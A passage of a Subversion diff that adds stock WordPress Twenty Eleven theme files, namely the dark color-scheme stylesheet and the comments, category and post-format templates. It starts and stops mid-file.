+ * Template for displaying Category Archive pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+get_header(); ?>
+
+		<section id="primary">
+			<div id="content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+				<header class="page-header">
+					<h1 class="page-title"><?php
+						printf( __( 'Category Archives: %s', 'twentyeleven' ), '<span>' . single_cat_title( '', false ) . '</span>' );
+					?></h1>
+
+					<?php
+						$category_description = category_description();
+						if ( ! empty( $category_description ) ) {
+							/**
+							 * Filter the default Twenty Eleven category description.
+							 *
+							 * @since Twenty Eleven 1.0
+							 *
+							 * @param string The default category description HTML.
+							 */
+							echo apply_filters( 'category_archive_meta', '<div class="category-archive-meta">' . $category_description . '</div>' );
+						}
+					?>
+				</header>
+
+				<?php twentyeleven_content_nav( 'nav-above' ); ?>
+
+				<?php /* Start the Loop */ ?>
+				<?php while ( have_posts() ) : the_post(); ?>
+
+					<?php
+						/*
+						 * Include the Post-Format-specific template for the content.
+						 * If you want to overload this in a child theme then include a file
+						 * called content-___.php (where ___ is the Post Format name) and that will be used instead.
+						 */
+						get_template_part( 'content', get_post_format() );
+					?>
+
+				<?php endwhile; ?>
+
+				<?php twentyeleven_content_nav( 'nav-below' ); ?>
+
+			<?php else : ?>
+
+				<article id="post-0" class="post no-results not-found">
+					<header class="entry-header">
+						<h1 class="entry-title"><?php _e( 'Nothing Found', 'twentyeleven' ); ?></h1>
+					</header><!-- .entry-header -->
+
+					<div class="entry-content">
+						<p><?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyeleven' ); ?></p>
+						<?php get_search_form(); ?>
+					</div><!-- .entry-content -->
+				</article><!-- #post-0 -->
+
+			<?php endif; ?>
+
+			</div><!-- #content -->
+		</section><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/colors/dark.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/colors/dark.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/colors/dark.css	(revision 56912)
@@ -0,0 +1,623 @@
+/*
+	A dark color scheme for Twenty Eleven
+*/
+
+/* =Global
+----------------------------------------------- */
+
+body {
+	background: #1d1d1d;
+	color: #bbb;
+}
+#page {
+	background: #0f0f0f;
+}
+
+/* Headings */
+hr {
+	background-color: #333;
+}
+
+/* Text elements */
+blockquote cite {
+	color: #999;
+}
+pre {
+	background: #0b0b0b;
+}
+code, kbd {
+	font: 13px Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace;
+}
+abbr, acronym, dfn {
+	border-bottom: 1px dotted #999;
+}
+ins {
+	background: #00063f;
+}
+input[type=text],
+input[type=password],
+input[type=email],
+input[type=url],
+input[type=number],
+textarea {
+	border: 1px solid #222;
+}
+input#s {
+	background-color: #ddd;
+}
+
+/* Links */
+a {
+}
+
+
+/* =Header
+----------------------------------------------- */
+
+#branding {
+	border-top: 2px solid #0a0a0a;
+}
+#site-title a {
+	color: #eee;
+}
+#site-title a:hover,
+#site-title a:focus,
+#site-title a:active {
+}
+#site-description {
+	color: #858585;
+}
+#branding #s {
+	background-color: #ddd;
+}
+
+
+/* =Menu
+----------------------------------------------- */
+
+#access {
+	background: #333; /* Show a solid color for older browsers */
+	background: -moz-linear-gradient(#383838, #272727);
+	background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#383838), to(#272727)); /* older webkit syntax */
+	background: -webkit-linear-gradient(#383838, #272727);
+	border-bottom: 1px solid #222;
+}
+
+/* =Content
+----------------------------------------------- */
+
+.page-title {
+	color: #ccc;
+}
+.hentry {
+	border-color: #222;
+}
+.entry-title {
+	color: #ddd;
+}
+.entry-title,
+.entry-title a {
+	color: #ddd;
+}
+.entry-title a:hover,
+.entry-title a:focus,
+.entry-title a:active {
+}
+.entry-meta {
+	color: #999;
+}
+.entry-content h1,
+.entry-content h2,
+.comment-content h1,
+.comment-content h2 {
+	color: #fff;
+}
+.entry-content table,
+.comment-content table {
+	border-color: #222;
+}
+.entry-content th,
+.comment-content th {
+	color: #999;
+}
+.entry-content td,
+.comment-content td {
+	border-color: #222;
+}
+.page-link {
+}
+.page-link a {
+	background: #242424;
+	color: #bbb;
+}
+.page-link a:hover {
+	background: #999;
+	color: #000;
+}
+.entry-meta .edit-link a {
+	background: #242424;
+	color: #bbb;
+}
+.entry-meta .edit-link a:hover,
+.entry-meta .edit-link a:focus,
+.entry-meta .edit-link a:active {
+	background: #999;
+	color: #000;
+}
+
+/* Images */
+.wp-caption {
+	background: #2c2c2c;
+}
+.wp-caption .wp-caption-text {
+	color: #999;
+}
+.wp-caption .wp-caption-text:before {
+	color: #999;
+}
+
+/* Image borders */
+img[class*="wp-image-"],
+#content .gallery .gallery-icon img {
+	border-color: #2c2c2c;
+}
+.wp-caption img {
+	border-color: #2c2c2c;
+}
+a:focus img[class*="wp-image-"],
+a:hover img[class*="wp-image-"],
+a:active img[class*="wp-image-"] {
+	background: #2c2c2c;
+	border-color: #444;
+}
+.wp-caption a:focus img,
+.wp-caption a:active img,
+.wp-caption a:hover img {
+	background: #0f0f0f;
+	border-color: #2c2c2c;
+}
+
+/* Password Protected Posts */
+.post-password-required input[type=password] {
+	background: #ddd;
+}
+.post-password-required input[type=password]:focus {
+	background: #fff;
+}
+
+/* Author Info */
+.singular #author-info {
+	background: #060606;
+	border-color: #222;
+}
+.archive #author-info {
+	border-color: #222;
+}
+#author-avatar img {
+	background: #000;
+	-webkit-box-shadow: 0 1px 2px #444;
+	-moz-box-shadow: 0 1px 2px #444;
+	box-shadow: 0 1px 2px #444;
+}
+#author-description h2 {
+	color: #fff;
+}
+
+/* Comments link */
+.entry-header .comments-link a {
+	background: #282828 url(../images/comment-bubble-dark.png) no-repeat;
+	border-color: #222;
+	color: #888;
+}
+
+.rtl .entry-header .comments-link a {
+	background-image: url(../images/comment-bubble-dark-rtl.png);
+}
+/* Singular content styles for Posts and Pages */
+.singular .entry-title {
+	color: #fff;
+}
+
+
+/* =Status
+----------------------------------------------- */
+
+.format-status img.avatar {
+	-webkit-box-shadow: 0 1px 2px #333;
+	-moz-box-shadow: 0 1px 2px #333;
+	box-shadow: 0 1px 2px #333;
+}
+
+
+/* =Quote
+----------------------------------------------- */
+
+.format-quote blockquote {
+	color: #aaa;
+}
+
+
+/* =Image
+----------------------------------------------- */
+
+.indexed.format-image .wp-caption {
+	background: #242424;
+}
+.indexed.format-image .entry-meta .edit-link a {
+	color: #ddd;
+}
+.indexed.format-image .entry-meta .edit-link a:hover {
+	color: #fff;
+}
+
+
+/* =error404
+----------------------------------------------- */
+.error404 #main #searchform {
+	background: #060606;
+	border-color: #222;
+}
+
+
+/* =Showcase
+----------------------------------------------- */
+
+h1.showcase-heading {
+	color: #ccc;
+}
+
+/* Intro */
+article.intro {
+	background: #060606;
+}
+article.intro .entry-content {
+	color: #eee;
+}
+article.intro .edit-link a {
+	background: #555;
+	color: #000;
+}
+article.intro .edit-link a:hover {
+	background: #888;
+}
+
+/* Featured post */
+section.featured-post .hentry {
+	color: #999;
+}
+
+/* Small featured post */
+section.featured-post .attachment-small-feature {
+	border-color: #444;
+}
+section.featured-post .attachment-small-feature:hover {
+	border-color: #777;
+}
+article.feature-image.small .entry-summary {
+	color: #aaa;
+}
+article.feature-image.small .entry-summary p a {
+	background: #ddd;
+	color: #111;
+}
+article.feature-image.small .entry-summary p a:hover {
+	color: #40220c;
+}
+
+/* Large featured post */
+article.feature-image.large .entry-title a {
+	background: #ddd;
+	background: rgba(0,0,0,0.8);
+	color: #fff;
+}
+section.feature-image.large:hover .entry-title a,
+section.feature-image.large .entry-title:hover a {
+	background: #111;
+	background: rgba(255,255,255,0.8);
+	color: #000;
+}
+section.feature-image.large img {
+	border-bottom: 1px solid #222;
+}
+
+/* Featured Slider */
+.featured-posts {
+	border-color: #222;
+}
+.featured-posts section.featured-post {
+	background: #000;
+}
+.featured-post .feature-text:after,
+.featured-post .feature-image.small:after {
+	background: -moz-linear-gradient(top, rgba(0,0,0,0) 0%, rgba(0,0,0,1) 100%); /* FF3.6+ */
+	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(0,0,0,0)), color-stop(100%,rgba(0,0,0,1))); /* Chrome,Safari4+ */
+	background: -webkit-linear-gradient(top, rgba(0,0,0,0) 0%,rgba(0,0,0,1) 100%); /* Chrome10+,Safari5.1+ */
+	background: -o-linear-gradient(top, rgba(0,0,0,0) 0%,rgba(0,0,0,1) 100%); /* Opera11.10+ */
+	background: -ms-linear-gradient(top, rgba(0,0,0,0) 0%,rgba(0,0,0,1) 100%); /* IE10+ */
+	filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00000000', endColorstr='#000000',GradientType=0 ); /* IE6-9 */
+	background: linear-gradient(top, rgba(0,0,0,0) 0%,rgba(0,0,0,1) 100%); /* W3C */
+}
+.feature-slider a {
+	background: #c3c3c3;
+	background: rgba(60,60,60,0.9);
+	-webkit-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5);
+	-moz-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5);
+	box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5);
+}
+.feature-slider a.active {
+	background: #000;
+	background: rgba(255,255,255,0.8);
+	-webkit-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8);
+	-moz-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8);
+	box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8);
+}
+
+/* Recent Posts */
+section.recent-posts .other-recent-posts {
+	border-color: #222;
+}
+section.recent-posts .other-recent-posts .entry-title {
+	border-color: #222;
+}
+section.recent-posts .other-recent-posts a[rel="bookmark"] {
+	color: #ccc;
+}
+section.recent-posts .other-recent-posts a[rel="bookmark"]:hover {
+}
+section.recent-posts .other-recent-posts .comments-link a,
+section.recent-posts .other-recent-posts .comments-link > span {
+	border-color: #959595;
+	color: #bbb;
+}
+section.recent-posts .other-recent-posts .comments-link > span {
+	border-color: #444;
+	color: #777;
+}
+section.recent-posts .other-recent-posts .comments-link a:hover {
+}
+
+
+/* =Attachments
+----------------------------------------------- */
+
+.image-attachment div.attachment {
+	background: #060606;
+	border-color: #222;
+}
+.image-attachment div.attachment a img {
+	border-color: #060606;
+}
+.image-attachment div.attachment a:focus img,
+.image-attachment div.attachment a:hover img,
+.image-attachment div.attachment a:active img {
+	border-color: #2c2c2c;
+	background: #0f0f0f;
+}
+
+
+/* =Widgets
+----------------------------------------------- */
+
+.widget-title {
+	color: #ccc;
+}
+.widget ul li {
+	color: #888;
+}
+
+/* Search Widget */
+.widget_search #searchsubmit {
+	background: #222;
+	border-color: #333;
+	-webkit-box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09);
+	-moz-box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09);
+	box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09);
+	color: #777;
+}
+.widget_search #searchsubmit:active {
+	-webkit-box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1);
+	-moz-box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1);
+	box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1);
+	color: #40220c;
+}
+
+/* Calendar Widget */
+.widget_calendar #wp-calendar {
+	color: #aaa;
+}
+.widget_calendar #wp-calendar th {
+	background: #0b0b0b;
+	border-color: #333;
+}
+.widget_calendar #wp-calendar tfoot td {
+	background: #0b0b0b;
+	border-color: #333;
+}
+
+
+/* =Comments
+----------------------------------------------- */
+
+#comments-title {
+	color: #bbb;
+}
+.nocomments {
+	color: #555;
+}
+.commentlist > li.comment {
+	background: #090909;
+	border-color: #222;
+}
+.commentlist .children li.comment {
+	background: #000;
+	border-color: #222;
+}
+.rtl .commentlist .children li.comment {
+	border-color: #222;
+}
+.comment-meta {
+	color: #999;
+}
+.commentlist .avatar {
+	-webkit-box-shadow: 0 1px 2px #222;
+	-moz-box-shadow: 0 1px 2px #222;
+	box-shadow: 0 1px 2px #222;
+}
+a.comment-reply-link {
+	background: #242424;
+	color: #bbb;
+}
+li.bypostauthor a.comment-reply-link {
+	background: #111;
+}
+a.comment-reply-link:hover,
+a.comment-reply-link:focus,
+a.comment-reply-link:active,
+li.bypostauthor a.comment-reply-link:hover,
+li.bypostauthor a.comment-reply-link:focus,
+li.bypostauthor a.comment-reply-link:active {
+	background: #999;
+	color: #000;
+}
+.commentlist > li:before {
+	content: url(../images/comment-arrow-dark.png);
+}
+.rtl .commentlist > li:before {
+	content: url(../images/comment-arrow-dark-rtl.png);
+}
+
+/* Post author highlighting */
+.commentlist > li.bypostauthor {
+	background: #222;
+	border-color: #2c2c2c;
+}
+.commentlist > li.bypostauthor:before {
+	content: url(../images/comment-arrow-bypostauthor-dark.png);
+}
+.rtl .commentlist > li.bypostauthor:before {
+	content: url(../images/comment-arrow-bypostauthor-dark-rtl.png);
+}
+
+/* Post Author threaded comments */
+.commentlist .children > li.bypostauthor {
+	background: #222;
+	border-color: #2c2c2c;
+}
+.commentlist > li.bypostauthor .comment-meta {
+	color: #a8a8a8;
+}
+
+/* Comment Form */
+#respond {
+	background: #222;
+	border-color: #2c2c2c;
+}
+#respond input[type="text"],
+#respond textarea {
+	background: #000;
+	border: 4px solid #111;
+	-webkit-box-shadow: inset 0 1px 3px rgba(51,51,51,0.95);
+	-moz-box-shadow: inset 0 1px 3px rgba(51,51,51,0.95);
+	box-shadow: inset 0 1px 3px rgba(51,51,51,0.95);
+	color: #bbb;
+}
+#respond .comment-form-author label,
+#respond .comment-form-email label,
+#respond .comment-form-url label,
+#respond .comment-form-comment label {
+	background: #111;
+	-webkit-box-shadow: 1px 2px 2px rgba(51,51,51,0.8);
+	-moz-box-shadow: 1px 2px 2px rgba(51,51,51,0.8);
+	box-shadow: 1px 1px 2px rgba(51,51,51,0.8);
+	color: #aaa;
+}
+.rtl #respond .comment-form-author label,
+.rtl #respond .comment-form-email label,
+.rtl #respond .comment-form-url label,
+.rtl #respond .comment-form-comment label {
+	-webkit-box-shadow: -1px 2px 2px rgba(51,51,51,0.8);
+	-moz-box-shadow: -1px 2px 2px rgba(51,51,51,0.8);
+	box-shadow: -1px 1px 2px rgba(51,51,51,0.8);
+}
+#respond .comment-form-author .required,
+#respond .comment-form-email .required {
+	color: #42caff;
+}
+#respond input#submit {
+	background: #ddd;
+	-webkit-box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	-moz-box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	color: #111;
+	text-shadow: 0 -1px 0 rgba(0,0,0,0.3);
+}
+#respond input#submit:active {
+	color: #40220c;
+}
+#respond #cancel-comment-reply-link {
+	color: #999;
+}
+#reply-title {
+	color: #ccc;
+}
+#cancel-comment-reply-link {
+	color: #777;
+}
+#cancel-comment-reply-link:focus,
+#cancel-comment-reply-link:active,
+#cancel-comment-reply-link:hover {
+	color: #00b4cc;
+}
+
+
+/* =Footer
+----------------------------------------------- */
+
+#supplementary {
+	border-color: #222;
+}
+
+/* Site Generator Line */
+#site-generator {
+	background: #060606;
+	border-color: #000;
+}
+
+
+/* =Print
+----------------------------------------------- */
+
+@media print {
+	body {
+		color: #333;
+		background: none !important;
+	}
+	#page {
+		background: none !important;
+	}
+
+	/* Comments */
+	.commentlist > li.comment {
+	}
+
+	/* Post author highlighting */
+	.commentlist > li.bypostauthor {
+		color: #333;
+	}
+	.commentlist > li.bypostauthor .comment-meta {
+		color: #959595;
+	}
+	.commentlist > li:before {
+		content: none !important;
+	}
+
+	/* Post Author threaded comments */
+	.commentlist .children > li.bypostauthor {
+		background: #fff;
+		border-color: #ddd;
+	}
+	.commentlist .children > li.bypostauthor > article,
+	.commentlist .children > li.bypostauthor > article .comment-meta {
+		color: #959595;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/comments.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/comments.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/comments.php	(revision 56912)
@@ -0,0 +1,81 @@
+<?php
+/**
+ * Template for displaying Comments
+ *
+ * The area of the page that contains both current comments
+ * and the comment form. The actual display of comments is
+ * handled by a callback to twentyeleven_comment() which is
+ * located in the functions.php file.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+	<div id="comments">
+	<?php if ( post_password_required() ) : ?>
+		<p class="nopassword"><?php _e( 'This post is password protected. Enter the password to view any comments.', 'twentyeleven' ); ?></p>
+	</div><!-- #comments -->
+	<?php
+			/*
+			 * Stop the rest of comments.php from being processed,
+			 * but don't kill the script entirely -- we still have
+			 * to fully load the template.
+			 */
+			return;
+		endif;
+	?>
+
+	<?php // You can start editing here -- including this comment! ?>
+
+	<?php if ( have_comments() ) : ?>
+		<h2 id="comments-title">
+			<?php
+				printf( _n( 'One thought on &ldquo;%2$s&rdquo;', '%1$s thoughts on &ldquo;%2$s&rdquo;', get_comments_number(), 'twentyeleven' ),
+					number_format_i18n( get_comments_number() ), '<span>' . get_the_title() . '</span>' );
+			?>
+		</h2>
+
+		<?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : // are there comments to navigate through ?>
+		<nav id="comment-nav-above">
+			<h1 class="assistive-text"><?php _e( 'Comment navigation', 'twentyeleven' ); ?></h1>
+			<div class="nav-previous"><?php previous_comments_link( __( '&larr; Older Comments', 'twentyeleven' ) ); ?></div>
+			<div class="nav-next"><?php next_comments_link( __( 'Newer Comments &rarr;', 'twentyeleven' ) ); ?></div>
+		</nav>
+		<?php endif; // check for comment navigation ?>
+
+		<ol class="commentlist">
+			<?php
+				/*
+				 * Loop through and list the comments. Tell wp_list_comments()
+				 * to use twentyeleven_comment() to format the comments.
+				 * If you want to overload this in a child theme then you can
+				 * define twentyeleven_comment() and that will be used instead.
+				 * See twentyeleven_comment() in twentyeleven/functions.php for more.
+				 */
+				wp_list_comments( array( 'callback' => 'twentyeleven_comment' ) );
+			?>
+		</ol>
+
+		<?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : // are there comments to navigate through ?>
+		<nav id="comment-nav-below">
+			<h1 class="assistive-text"><?php _e( 'Comment navigation', 'twentyeleven' ); ?></h1>
+			<div class="nav-previous"><?php previous_comments_link( __( '&larr; Older Comments', 'twentyeleven' ) ); ?></div>
+			<div class="nav-next"><?php next_comments_link( __( 'Newer Comments &rarr;', 'twentyeleven' ) ); ?></div>
+		</nav>
+		<?php endif; // check for comment navigation ?>
+
+		<?php
+		/*
+		 * If there are no comments and comments are closed, let's leave a little note, shall we?
+		 * But we only want the note on posts and pages that had comments in the first place.
+		 */
+		if ( ! comments_open() && get_comments_number() ) : ?>
+		<p class="nocomments"><?php _e( 'Comments are closed.' , 'twentyeleven' ); ?></p>
+		<?php endif; ?>
+
+	<?php endif; // have_comments() ?>
+
+	<?php comment_form(); ?>
+
+</div><!-- #comments -->
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/content-aside.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/content-aside.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/content-aside.php	(revision 56912)
@@ -0,0 +1,48 @@
+<?php
+/**
+ * Template for displaying posts in the Aside Post Format
+ *
+ * Used on index and archive pages.
+ *
+ * @link https://codex.wordpress.org/Post_Formats
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<header class="entry-header">
+			<hgroup>
+				<h2 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
+				<h3 class="entry-format"><?php _e( 'Aside', 'twentyeleven' ); ?></h3>
+			</hgroup>
+
+			<?php if ( comments_open() && ! post_password_required() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Reply', 'twentyeleven' ) . '</span>', _x( '1', 'comments number', 'twentyeleven' ), _x( '%', 'comments number', 'twentyeleven' ) ); ?>
+			</div>
+			<?php endif; ?>
+		</header><!-- .entry-header -->
+
+		<?php if ( is_search() ) : // Only display Excerpts for Search ?>
+		<div class="entry-summary">
+			<?php the_excerpt(); ?>
+		</div><!-- .entry-summary -->
+		<?php else : ?>
+		<div class="entry-content">
+			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?>
+			<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+		</div><!-- .entry-content -->
+		<?php endif; ?>
+
+		<footer class="entry-meta">
+			<?php twentyeleven_posted_on(); ?>
+			<?php if ( comments_open() ) : ?>
+			<span class="sep"> | </span>
+			<span class="comments-link"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?></span>
+			<?php endif; ?>
+			<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/content-featured.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/content-featured.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/content-featured.php	(revision 56912)
@@ -0,0 +1,47 @@
+<?php
+/**
+ * Template for displaying content featured in the showcase.php page template
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+global $feature_class;
+?>
+<article id="post-<?php the_ID(); ?>" <?php post_class( $feature_class ); ?>>
+	<header class="entry-header">
+		<h2 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
+
+		<div class="entry-meta">
+			<?php twentyeleven_posted_on(); ?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<div class="entry-summary">
+		<?php the_excerpt(); ?>
+		<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-meta">
+		<?php
+			/* translators: used between list items, there is a space after the comma */
+			$tag_list = get_the_tag_list( '', __( ', ', 'twentyeleven' ) );
+			if ( '' != $tag_list ) {
+				$utility_text = __( 'This entry was posted in %1$s and tagged %2$s. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyeleven' );
+			} else {
+				$utility_text = __( 'This entry was posted in %1$s. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyeleven' );
+			}
+			printf(
+				$utility_text,
+				/* translators: used between list items, there is a space after the comma */
+				get_the_category_list( __( ', ', 'twentyeleven' ) ),
+				$tag_list,
+				esc_url( get_permalink() ),
+				the_title_attribute( 'echo=0' )
+			);
+		?>
+
+		<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/content-gallery.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/content-gallery.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/content-gallery.php	(revision 56912)
@@ -0,0 +1,90 @@
+<?php
+/**
+ * Template for displaying posts in the Gallery Post Format
+ *
+ * Used on index and archive pages.
+ *
+ * @link https://codex.wordpress.org/Post_Formats
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<hgroup>
+			<h2 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
+			<h3 class="entry-format"><?php _e( 'Gallery', 'twentyeleven' ); ?></h3>
+		</hgroup>
+
+		<div class="entry-meta">
+			<?php twentyeleven_posted_on(); ?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<?php if ( is_search() ) : // Only display Excerpts for search pages ?>
+		<div class="entry-summary">
+			<?php the_excerpt(); ?>
+		</div><!-- .entry-summary -->
+		<?php else : ?>
+		<div class="entry-content">
+			<?php if ( post_password_required() ) : ?>
+				<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?>
+			<?php else :
+				$images = twentyeleven_get_gallery_images();
+				if ( $images ) :
+					$total_images = count( $images );
+					$image = reset( $images );
+			?>
+				<figure class="gallery-thumb">
+					<a href="<?php the_permalink(); ?>"><?php echo wp_get_attachment_image( $image, 'thumbnail' ); ?></a>
+				</figure><!-- .gallery-thumb -->
+
+				<p><em><?php printf( _n( 'This gallery contains <a %1$s>%2$s photo</a>.', 'This gallery contains <a %1$s>%2$s photos</a>.', $total_images, 'twentyeleven' ),
+						'href="' . esc_url( get_permalink() ) . '" title="' . esc_attr( sprintf( __( 'Permalink to %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ) ) . '" rel="bookmark"',
+						number_format_i18n( $total_images )
+					); ?></em></p>
+			<?php endif; // end twentyeleven_get_gallery_images() check ?>
+			<?php the_excerpt(); ?>
+		<?php endif; ?>
+		<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+	</div><!-- .entry-content -->
+	<?php endif; ?>
+
+	<footer class="entry-meta">
+		<?php $show_sep = false; ?>
+		<?php
+			/* translators: used between list items, there is a space after the comma */
+			$categories_list = get_the_category_list( __( ', ', 'twentyeleven' ) );
+			if ( $categories_list ):
+		?>
+		<span class="cat-links">
+			<?php printf( __( '<span class="%1$s">Posted in</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-cat-links', $categories_list );
+			$show_sep = true; ?>
+		</span>
+		<?php endif; // End if categories ?>
+		<?php
+			/* translators: used between list items, there is a space after the comma */
+			$tags_list = get_the_tag_list( '', __( ', ', 'twentyeleven' ) );
+			if ( $tags_list ):
+			if ( $show_sep ) : ?>
+		<span class="sep"> | </span>
+			<?php endif; // End if $show_sep ?>
+		<span class="tag-links">
+			<?php printf( __( '<span class="%1$s">Tagged</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list );
+			$show_sep = true; ?>
+		</span>
+		<?php endif; // End if $tags_list ?>
+
+		<?php if ( comments_open() ) : ?>
+		<?php if ( $show_sep ) : ?>
+		<span class="sep"> | </span>
+		<?php endif; // End if $show_sep ?>
+		<span class="comments-link"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?></span>
+		<?php endif; // End if comments_open() ?>
+
+		<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/content-image.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/content-image.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/content-image.php	(revision 56912)
@@ -0,0 +1,72 @@
+<?php
+/**
+ * Template for displaying posts in the Image Post Format
+ *
+ * Used on index and archive pages.
+ *
+ * @link https://codex.wordpress.org/Post_Formats
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+	<article id="post-<?php the_ID(); ?>" <?php post_class( 'indexed' ); ?>>
+		<header class="entry-header">
+			<hgroup>
+				<h2 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
+				<h3 class="entry-format"><?php _e( 'Image', 'twentyeleven' ); ?></h3>
+			</hgroup>
+
+			<?php if ( comments_open() && ! post_password_required() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Reply', 'twentyeleven' ) . '</span>', _x( '1', 'comments number', 'twentyeleven' ), _x( '%', 'comments number', 'twentyeleven' ) ); ?>
+			</div>
+			<?php endif; ?>
+		</header><!-- .entry-header -->
+
+		<div class="entry-content">
+			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?>
+			<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+		</div><!-- .entry-content -->
+
+		<footer class="entry-meta">
+			<div class="entry-meta">
+				<?php
